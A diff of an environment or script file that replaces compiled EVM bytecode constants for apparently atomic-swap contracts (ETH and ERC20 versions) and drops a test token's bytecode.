-ETH_SWAP_V0="608060405234801561001057600080fd5b50610cb6806100206000396000f3fe6080604052600436106100705760003560e01c8063bfd2fd971161004e578063bfd2fd97146100e0578063d0f761c014610110578063eb84e7f214610130578063f4fd17f9146101ac57600080fd5b80637249fbb61461007557806376467cbd14610097578063a8793f94146100cd575b600080fd5b34801561008157600080fd5b50610095610090366004610980565b6101cc565b005b3480156100a357600080fd5b506100b76100b2366004610980565b610304565b6040516100c491906109d1565b60405180910390f35b6100956100db366004610a36565b6103df565b3480156100ec57600080fd5b506101006100fb366004610aab565b6105d6565b60405190151581526020016100c4565b34801561011c57600080fd5b5061010061012b366004610980565b6106ad565b34801561013c57600080fd5b5061019961014b366004610980565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100c49796959493929190610acd565b3480156101b857600080fd5b506100956101c7366004610b19565b6106f2565b3233146101f45760405162461bcd60e51b81526004016101eb90610b7c565b60405180910390fd5b6101fd816106ad565b61023a5760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101eb565b60008181526020819052604080822060058101805460ff60a01b1916600360a01b1790556004810154600182015492519193926001600160a01b03909116918381818185875af1925050503d80600081146102b1576040519150601f19603f3d011682016040523d82523d6000602084013e6102b6565b606091505b50909150506001811515146102ff5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101eb565b505050565b6103416040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff16908111156103c5576103c5610999565b60038111156103d6576103d6610999565b90525092915050565b3233146103fe5760405162461bcd60e51b81526004016101eb90610b7c565b6000805b8281101561059c573684848381811061041d5761041d610ba6565b90506080020190506000806000836020013581526020019081526020016000209050600082606001351161047b5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101eb565b81356104bd5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101eb565b60006005820154600160a01b900460ff1660038111156104df576104df610999565b146105175760405162461bcd60e51b8152602060048201526008602482015267064757020737761760c41b60448201526064016101eb565b436002820155813560038201556004810180546001600160a01b031916331790556105486060830160408401610bbc565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b1790556105859085610bfb565b93505050808061059490610c13565b915050610402565b503481146102ff5760405162461bcd60e51b8152602060048201526007602482015266189859081d985b60ca1b60448201526064016101eb565b60006001600084815260208190526040902060050154600160a01b900460ff16600381111561060757610607610999565b14801561062d57506000838152602081905260409020600501546001600160a01b031633145b80156106a657508260028360405160200161064a91815260200190565b60408051601f198184030181529082905261066491610c2c565b602060405180830381855afa158015610681573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906106a49190610c67565b145b9392505050565b600081815260208190526040812060016005820154600160a01b900460ff1660038111156106dd576106dd610999565b1480156106a657506003015442101592915050565b3233146107115760405162461bcd60e51b81526004016101eb90610b7c565b6000805b828110156108e9573684848381811061073057610730610ba6565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561077157610771610999565b146107aa5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101eb565b60058101546001600160a01b031633146107f85760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101eb565b81602001356002836000013560405160200161081691815260200190565b60408051601f198184030181529082905261083091610c2c565b602060405180830381855afa15801561084d573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906108709190610c67565b146108aa5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101eb565b60058101805460ff60a01b1916600160a11b1790558135815560018101546108d29085610bfb565b9350505080806108e190610c13565b915050610715565b50604051600090339083908381818185875af1925050503d806000811461092c576040519150601f19603f3d011682016040523d82523d6000602084013e610931565b606091505b509091505060018115151461097a5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101eb565b50505050565b60006020828403121561099257600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b600481106109cd57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610a2f60c08401826109af565b5092915050565b60008060208385031215610a4957600080fd5b823567ffffffffffffffff80821115610a6157600080fd5b818501915085601f830112610a7557600080fd5b813581811115610a8457600080fd5b8660208260071b8501011115610a9957600080fd5b60209290920196919550909350505050565b60008060408385031215610abe57600080fd5b50508035926020909101359150565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610b0d60c08301846109af565b98975050505050505050565b60008060208385031215610b2c57600080fd5b823567ffffffffffffffff80821115610b4457600080fd5b818501915085601f830112610b5857600080fd5b813581811115610b6757600080fd5b8660208260061b8501011115610a9957600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610bce57600080fd5b81356001600160a01b03811681146106a657600080fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115610c0e57610c0e610be5565b500190565b600060018201610c2557610c25610be5565b5060010190565b6000825160005b81811015610c4d5760208186018101518583015201610c33565b81811115610c5c576000828501525b509190910192915050565b600060208284031215610c7957600080fd5b505191905056fea26469706673582212209c8d8d137b7639af24fe8215dd5976b16323176cb4b9be076c90eeb32eaf744664736f6c634300080f0033" -ERC20_SWAP_V0="60a060405234801561001057600080fd5b50604051610fa7380380610fa783398101604081905261002f91610040565b6001600160a01b0316608052610070565b60006020828403121561005257600080fd5b81516001600160a01b038116811461006957600080fd5b9392505050565b608051610f0861009f6000396000818160d0015281816102b9015281816106890152610adb0152610f086000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c8063bfd2fd971161005b578063bfd2fd971461011d578063d0f761c014610140578063eb84e7f214610153578063f4fd17f9146101c257600080fd5b80637249fbb61461008d57806376467cbd146100a25780638c8e8fee146100cb578063a8793f941461010a575b600080fd5b6100a061009b366004610bb0565b6101d5565b005b6100b56100b0366004610bb0565b610394565b6040516100c29190610c01565b60405180910390f35b6100f27f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100c2565b6100a0610118366004610c66565b61046f565b61013061012b366004610cdb565b61076a565b60405190151581526020016100c2565b61013061014e366004610bb0565b610834565b6101af610161366004610bb0565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100c29796959493929190610cfd565b6100a06101d0366004610d49565b610894565b3233146101fd5760405162461bcd60e51b81526004016101f490610dac565b60405180910390fd5b61020681610834565b6102435760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101f4565b60008181526020818152604080832060058101805460ff60a01b1916600360a01b17905560018101548251336024820152604480820192909252835180820390920182526064018352928301805163a9059cbb60e01b6001600160e01b0390911617905290519092916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916102e391610dd6565b6000604051808303816000865af19150503d8060008114610320576040519150601f19603f3d011682016040523d82523d6000602084013e610325565b606091505b5090925090508180156103505750805115806103505750808060200190518101906103509190610e11565b61038e5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101f4565b50505050565b6103d16040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561045557610455610bc9565b600381111561046657610466610bc9565b90525092915050565b32331461048e5760405162461bcd60e51b81526004016101f490610dac565b6000805b8281101561063357368484838181106104ad576104ad610e33565b90506080020190506000806000836020013581526020019081526020016000209050600082606001351161050b5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101f4565b813561054d5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101f4565b60006005820154600160a01b900460ff16600381111561056f5761056f610bc9565b146105ae5760405162461bcd60e51b815260206004820152600f60248201526e0c8eae040e6cac6e4cae840d0c2e6d608b1b60448201526064016101f4565b436002820155813560038201556004810180546001600160a01b031916331790556105df6060830160408401610e49565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b17905561061c9085610e88565b93505050808061062b90610ea0565b915050610492565b5060408051336024820152306044820152606480820184905282518083039091018152608490910182526020810180516001600160e01b03166323b872dd60e01b17905290516000916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916106b391610dd6565b6000604051808303816000865af19150503d80600081146106f0576040519150601f19603f3d011682016040523d82523d6000602084013e6106f5565b606091505b5090925090508180156107205750805115806107205750808060200190518101906107209190610e11565b6107635760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c88199c9bdb4819985a5b195960621b60448201526064016101f4565b5050505050565b600082815260208190526040812060016005820154600160a01b900460ff16600381111561079a5761079a610bc9565b1480156107b3575060058101546001600160a01b031633145b801561082c5750836002846040516020016107d091815260200190565b60408051601f19818403018152908290526107ea91610dd6565b602060405180830381855afa158015610807573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061082a9190610eb9565b145b949350505050565b600081815260208190526040812060016005820154600160a01b900460ff16600381111561086457610864610bc9565b14801561087d575060048101546001600160a01b031633145b801561088d575080600301544210155b9392505050565b3233146108b35760405162461bcd60e51b81526004016101f490610dac565b6000805b82811015610a8b57368484838181106108d2576108d2610e33565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561091357610913610bc9565b1461094c5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101f4565b60058101546001600160a01b0316331461099a5760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101f4565b8160200135600283600001356040516020016109b891815260200190565b60408051601f19818403018152908290526109d291610dd6565b602060405180830381855afa1580156109ef573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a129190610eb9565b14610a4c5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101f4565b60058101805460ff60a01b1916600160a11b179055813581556001810154610a749085610e88565b935050508080610a8390610ea0565b9150506108b7565b5060408051336024820152604480820184905282518083039091018152606490910182526020810180516001600160e01b031663a9059cbb60e01b17905290516000916060916001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691610b0591610dd6565b6000604051808303816000865af19150503d8060008114610b42576040519150601f19603f3d011682016040523d82523d6000602084013e610b47565b606091505b509092509050818015610b72575080511580610b72575080806020019051810190610b729190610e11565b6107635760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101f4565b600060208284031215610bc257600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60048110610bfd57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610c5f60c0840182610bdf565b5092915050565b60008060208385031215610c7957600080fd5b823567ffffffffffffffff80821115610c9157600080fd5b818501915085601f830112610ca557600080fd5b813581811115610cb457600080fd5b8660208260071b8501011115610cc957600080fd5b60209290920196919550909350505050565b60008060408385031215610cee57600080fd5b50508035926020909101359150565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610d3d60c0830184610bdf565b98975050505050505050565b60008060208385031215610d5c57600080fd5b823567ffffffffffffffff80821115610d7457600080fd5b818501915085601f830112610d8857600080fd5b813581811115610d9757600080fd5b8660208260061b8501011115610cc957600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b6000825160005b81811015610df75760208186018101518583015201610ddd565b81811115610e06576000828501525b509190910192915050565b600060208284031215610e2357600080fd5b8151801515811461088d57600080fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215610e5b57600080fd5b81356001600160a01b038116811461088d57600080fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115610e9b57610e9b610e72565b500190565b600060018201610eb257610eb2610e72565b5060010190565b600060208284031215610ecb57600080fd5b505191905056fea26469706673582212203e5af33d9672cc61834e91e1c391f408502e89feacb59762150c3e8ad4b8eb8764736f6c634300080f0033" -TEST_TOKEN="608060405234801561001057600080fd5b506040805180820190915260098152682a32b9ba2a37b5b2b760b91b602082015260039061003e90826101f5565b506040805180820190915260038152621514d560ea1b602082015260049061006690826101f5565b506909513ea9de0243800000600255600060208190526902544faa778090e000007f7d4921c2bc32c0110a31d16f4efb43c7a1228f1df7af765f608241dee5c62ebc8190557f59603491850c7d11499afe95b334ccfd92b48b36a15df31ef59ff5813fe370828190557f963f2e057cac0b71a4b8cff76a0e66200ffc6cc5498c1198bc1df3cb2bf751dc8190557fbc10d5a0a531ecf97938db2df6f3f5b59678ae655bd09be1d358f605f79153d481905573d12ab7cf72ccf1f3882ec99ddc53cd415635c3be9091527f5bd8dfce2dbb581d0922a094c40bab2f7d2f0ea9aaf275bf0fcc0f027a2ff91d556102b4565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061018057607f821691505b6020821081036101a057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156101f057600081815260208120601f850160051c810160208610156101cd5750805b601f850160051c820191505b818110156101ec578281556001016101d9565b5050505b505050565b81516001600160401b0381111561020e5761020e610156565b6102228161021c845461016c565b846101a6565b602080601f831160018114610257576000841561023f5750858301515b600019600386901b1c1916600185901b1785556101ec565b600085815260208120601f198616915b8281101561028657888601518255948401946001909101908401610267565b50858210156102a45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610796806102c36000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c806370a082311161006657806370a08231146101185780638ba4cc3c1461014157806395d89b4114610156578063a9059cbb1461015e578063dd62ed3e1461017157600080fd5b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100e457806323b872dd146100f6578063313ce56714610109575b600080fd5b6100ab6101aa565b6040516100b891906105d4565b60405180910390f35b6100d46100cf366004610645565b61023c565b60405190151581526020016100b8565b6002545b6040519081526020016100b8565b6100d461010436600461066f565b610252565b604051601281526020016100b8565b6100e86101263660046106ab565b6001600160a01b031660009081526020819052604090205490565b61015461014f366004610645565b610301565b005b6100ab610349565b6100d461016c366004610645565b610358565b6100e861017f3660046106cd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101b990610700565b80601f01602080910402602001604051908101604052809291908181526020018280546101e590610700565b80156102325780601f1061020757610100808354040283529160200191610232565b820191906000526020600020905b81548152906001019060200180831161021557829003601f168201915b5050505050905090565b6000610249338484610365565b50600192915050565b600061025f848484610454565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156102e95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6102f68533858403610365565b506001949350505050565b8060026000828254610313919061073a565b90915550506001600160a01b0382166000908152602081905260408120805483929061034090849061073a565b90915550505050565b6060600480546101b990610700565b6000610249338484610454565b6001600160a01b0383166103c75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102e0565b6001600160a01b0382166104285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102e0565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b6001600160a01b0383166104b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016102e0565b6001600160a01b03821661051a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016102e0565b6001600160a01b038316600090815260208190526040902054818110156105925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016102e0565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906105c990849061073a565b909155505050505050565b600060208083528351808285015260005b81811015610601578581018301518582016040015282016105e5565b81811115610613576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461064057600080fd5b919050565b6000806040838503121561065857600080fd5b61066183610629565b946020939093013593505050565b60008060006060848603121561068457600080fd5b61068d84610629565b925061069b60208501610629565b9150604084013590509250925092565b6000602082840312156106bd57600080fd5b6106c682610629565b9392505050565b600080604083850312156106e057600080fd5b6106e983610629565b91506106f760208401610629565b90509250929050565b600181811c9082168061071457607f821691505b60208210810361073457634e487b7160e01b600052602260045260246000fd5b50919050565b6000821982111561075b57634e487b7160e01b600052601160045260246000fd5b50019056fea26469706673582212205c9f38539acdb22b17cfbd7031ece4dc130883eebf1d7c26e2b5951f24bc311f64736f6c634300080f0033" +ETH_SWAP_V0="608060405234801561001057600080fd5b50610b7a806100206000396000f3fe6080604052600436106100555760003560e01c80637249fbb61461005a57806376467cbd1461007c578063a8793f94146100b2578063d0f761c0146100c5578063eb84e7f2146100f5578063f4fd17f914610171575b600080fd5b34801561006657600080fd5b5061007a610075366004610871565b610191565b005b34801561008857600080fd5b5061009c610097366004610871565b6102c9565b6040516100a991906108c2565b60405180910390f35b61007a6100c0366004610927565b6103a4565b3480156100d157600080fd5b506100e56100e0366004610871565b61059b565b60405190151581526020016100a9565b34801561010157600080fd5b5061015e610110366004610871565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100a9979695949392919061099c565b34801561017d57600080fd5b5061007a61018c3660046109e8565b6105e3565b3233146101b95760405162461bcd60e51b81526004016101b090610a4b565b60405180910390fd5b6101c28161059b565b6101ff5760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101b0565b60008181526020819052604080822060058101805460ff60a01b1916600360a01b1790556004810154600182015492519193926001600160a01b03909116918381818185875af1925050503d8060008114610276576040519150601f19603f3d011682016040523d82523d6000602084013e61027b565b606091505b50909150506001811515146102c45760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101b0565b505050565b6103066040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561038a5761038a61088a565b600381111561039b5761039b61088a565b90525092915050565b3233146103c35760405162461bcd60e51b81526004016101b090610a4b565b6000805b8281101561056157368484838181106103e2576103e2610a75565b9050608002019050600080600083602001358152602001908152602001600020905060008260600135116104405760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101b0565b81356104825760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101b0565b60006005820154600160a01b900460ff1660038111156104a4576104a461088a565b146104dc5760405162461bcd60e51b8152602060048201526008602482015267064757020737761760c41b60448201526064016101b0565b436002820155813560038201556004810180546001600160a01b0319163317905561050d6060830160408401610a8b565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b17905561054a9085610aca565b93505050808061055990610ae3565b9150506103c7565b503481146102c45760405162461bcd60e51b8152602060048201526007602482015266189859081d985b60ca1b60448201526064016101b0565b600081815260208190526040812060016005820154600160a01b900460ff1660038111156105cb576105cb61088a565b1480156105dc575080600301544210155b9392505050565b3233146106025760405162461bcd60e51b81526004016101b090610a4b565b6000805b828110156107da573684848381811061062157610621610a75565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff1660038111156106625761066261088a565b1461069b5760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101b0565b60058101546001600160a01b031633146106e95760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101b0565b81602001356002836000013560405160200161070791815260200190565b60408051601f198184030181529082905261072191610afc565b602060405180830381855afa15801561073e573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906107619190610b2b565b1461079b5760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101b0565b60058101805460ff60a01b1916600160a11b1790558135815560018101546107c39085610aca565b9350505080806107d290610ae3565b915050610606565b50604051600090339083908381818185875af1925050503d806000811461081d576040519150601f19603f3d011682016040523d82523d6000602084013e610822565b606091505b509091505060018115151461086b5760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101b0565b50505050565b60006020828403121561088357600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b600481106108be57634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c083015161092060c08401826108a0565b5092915050565b6000806020838503121561093a57600080fd5b823567ffffffffffffffff8082111561095257600080fd5b818501915085601f83011261096657600080fd5b81358181111561097557600080fd5b8660208260071b850101111561098a57600080fd5b60209290920196919550909350505050565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e081016109dc60c08301846108a0565b98975050505050505050565b600080602083850312156109fb57600080fd5b823567ffffffffffffffff80821115610a1357600080fd5b818501915085601f830112610a2757600080fd5b813581811115610a3657600080fd5b8660208260061b850101111561098a57600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060208284031215610a9d57600080fd5b81356001600160a01b03811681146105dc57600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610add57610add610ab4565b92915050565b600060018201610af557610af5610ab4565b5060010190565b6000825160005b81811015610b1d5760208186018101518583015201610b03565b506000920191825250919050565b600060208284031215610b3d57600080fd5b505191905056fea2646970667358221220d288c9a18362adf67607179f5c8585d0abe014bdb904b6e878451ac0c393a04364736f6c63430008120033" +ERC20_SWAP_V0="60a060405234801561001057600080fd5b50604051610e92380380610e9283398101604081905261002f91610040565b6001600160a01b0316608052610070565b60006020828403121561005257600080fd5b81516001600160a01b038116811461006957600080fd5b9392505050565b608051610df361009f6000396000818160c50152818161029b0152818161066b01526109f30152610df36000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c8063a8793f941161005b578063a8793f94146100ff578063d0f761c014610112578063eb84e7f214610135578063f4fd17f9146101a457600080fd5b80637249fbb61461008257806376467cbd146100975780638c8e8fee146100c0575b600080fd5b610095610090366004610ac8565b6101b7565b005b6100aa6100a5366004610ac8565b610376565b6040516100b79190610b19565b60405180910390f35b6100e77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b7565b61009561010d366004610b7e565b610451565b610125610120366004610ac8565b61074c565b60405190151581526020016100b7565b610191610143366004610ac8565b60006020819052908152604090208054600182015460028301546003840154600485015460059095015493949293919290916001600160a01b0391821691811690600160a01b900460ff1687565b6040516100b79796959493929190610bf3565b6100956101b2366004610c3f565b6107ac565b3233146101df5760405162461bcd60e51b81526004016101d690610ca2565b60405180910390fd5b6101e88161074c565b6102255760405162461bcd60e51b815260206004820152600e60248201526d6e6f7420726566756e6461626c6560901b60448201526064016101d6565b60008181526020818152604080832060058101805460ff60a01b1916600360a01b17905560018101548251336024820152604480820192909252835180820390920182526064018352928301805163a9059cbb60e01b6001600160e01b0390911617905290519092916060916001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016916102c591610ccc565b6000604051808303816000865af19150503d8060008114610302576040519150601f19603f3d011682016040523d82523d6000602084013e610307565b606091505b5090925090508180156103325750805115806103325750808060200190518101906103329190610cfb565b6103705760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101d6565b50505050565b6103b36040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a081018290529060c082015290565b60008281526020818152604091829020825160e08101845281548152600182015492810192909252600281015492820192909252600380830154606083015260048301546001600160a01b039081166080840152600584015490811660a084015291929160c0840191600160a01b90910460ff169081111561043757610437610ae1565b600381111561044857610448610ae1565b90525092915050565b3233146104705760405162461bcd60e51b81526004016101d690610ca2565b6000805b82811015610615573684848381811061048f5761048f610d1d565b9050608002019050600080600083602001358152602001908152602001600020905060008260600135116104ed5760405162461bcd60e51b81526020600482015260056024820152640c081d985b60da1b60448201526064016101d6565b813561052f5760405162461bcd60e51b815260206004820152601160248201527003020726566756e6454696d657374616d7607c1b60448201526064016101d6565b60006005820154600160a01b900460ff16600381111561055157610551610ae1565b146105905760405162461bcd60e51b815260206004820152600f60248201526e0c8eae040e6cac6e4cae840d0c2e6d608b1b60448201526064016101d6565b436002820155813560038201556004810180546001600160a01b031916331790556105c16060830160408401610d33565b6005820180546060850135600185018190556001600160a01b03939093166001600160a81b031990911617600160a01b1790556105fe9085610d72565b93505050808061060d90610d8b565b915050610474565b5060408051336024820152306044820152606480820184905282518083039091018152608490910182526020810180516001600160e01b03166323b872dd60e01b17905290516000916060916001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169161069591610ccc565b6000604051808303816000865af19150503d80600081146106d2576040519150601f19603f3d011682016040523d82523d6000602084013e6106d7565b606091505b5090925090508180156107025750805115806107025750808060200190518101906107029190610cfb565b6107455760405162461bcd60e51b81526020600482015260146024820152731d1c985b9cd9995c88199c9bdb4819985a5b195960621b60448201526064016101d6565b5050505050565b600081815260208190526040812060016005820154600160a01b900460ff16600381111561077c5761077c610ae1565b148015610795575060048101546001600160a01b031633145b80156107a5575080600301544210155b9392505050565b3233146107cb5760405162461bcd60e51b81526004016101d690610ca2565b6000805b828110156109a357368484838181106107ea576107ea610d1d565b6020604091820293909301838101356000908152938490529220919250600190506005820154600160a01b900460ff16600381111561082b5761082b610ae1565b146108645760405162461bcd60e51b815260206004820152600960248201526862616420737461746560b81b60448201526064016101d6565b60058101546001600160a01b031633146108b25760405162461bcd60e51b815260206004820152600f60248201526e189859081c185c9d1a58da5c185b9d608a1b60448201526064016101d6565b8160200135600283600001356040516020016108d091815260200190565b60408051601f19818403018152908290526108ea91610ccc565b602060405180830381855afa158015610907573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061092a9190610da4565b146109645760405162461bcd60e51b815260206004820152600a602482015269189859081cd958dc995d60b21b60448201526064016101d6565b60058101805460ff60a01b1916600160a11b17905581358155600181015461098c9085610d72565b93505050808061099b90610d8b565b9150506107cf565b5060408051336024820152604480820184905282518083039091018152606490910182526020810180516001600160e01b031663a9059cbb60e01b17905290516000916060916001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691610a1d91610ccc565b6000604051808303816000865af19150503d8060008114610a5a576040519150601f19603f3d011682016040523d82523d6000602084013e610a5f565b606091505b509092509050818015610a8a575080511580610a8a575080806020019051810190610a8a9190610cfb565b6107455760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016101d6565b600060208284031215610ada57600080fd5b5035919050565b634e487b7160e01b600052602160045260246000fd5b60048110610b1557634e487b7160e01b600052602160045260246000fd5b9052565b600060e08201905082518252602083015160208301526040830151604083015260608301516060830152608083015160018060a01b0380821660808501528060a08601511660a0850152505060c0830151610b7760c0840182610af7565b5092915050565b60008060208385031215610b9157600080fd5b823567ffffffffffffffff80821115610ba957600080fd5b818501915085601f830112610bbd57600080fd5b813581811115610bcc57600080fd5b8660208260071b8501011115610be157600080fd5b60209290920196919550909350505050565b8781526020810187905260408101869052606081018590526001600160a01b038481166080830152831660a082015260e08101610c3360c0830184610af7565b98975050505050505050565b60008060208385031215610c5257600080fd5b823567ffffffffffffffff80821115610c6a57600080fd5b818501915085601f830112610c7e57600080fd5b813581811115610c8d57600080fd5b8660208260061b8501011115610be157600080fd5b60208082526010908201526f39b2b73232b910109e9037b934b3b4b760811b604082015260600190565b6000825160005b81811015610ced5760208186018101518583015201610cd3565b506000920191825250919050565b600060208284031215610d0d57600080fd5b815180151581146107a557600080fd5b634e487b7160e01b600052603260045260246000fd5b600060208284031215610d4557600080fd5b81356001600160a01b03811681146107a557600080fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d8557610d85610d5c565b92915050565b600060018201610d9d57610d9d610d5c565b5060010190565b600060208284031215610db657600080fd5b505191905056fea2646970667358221220a055a4890a5ecf3876dbee91dfbeb46ba11b5f7c09b6d935173932d93f8fb92264736f6c63430008120033" 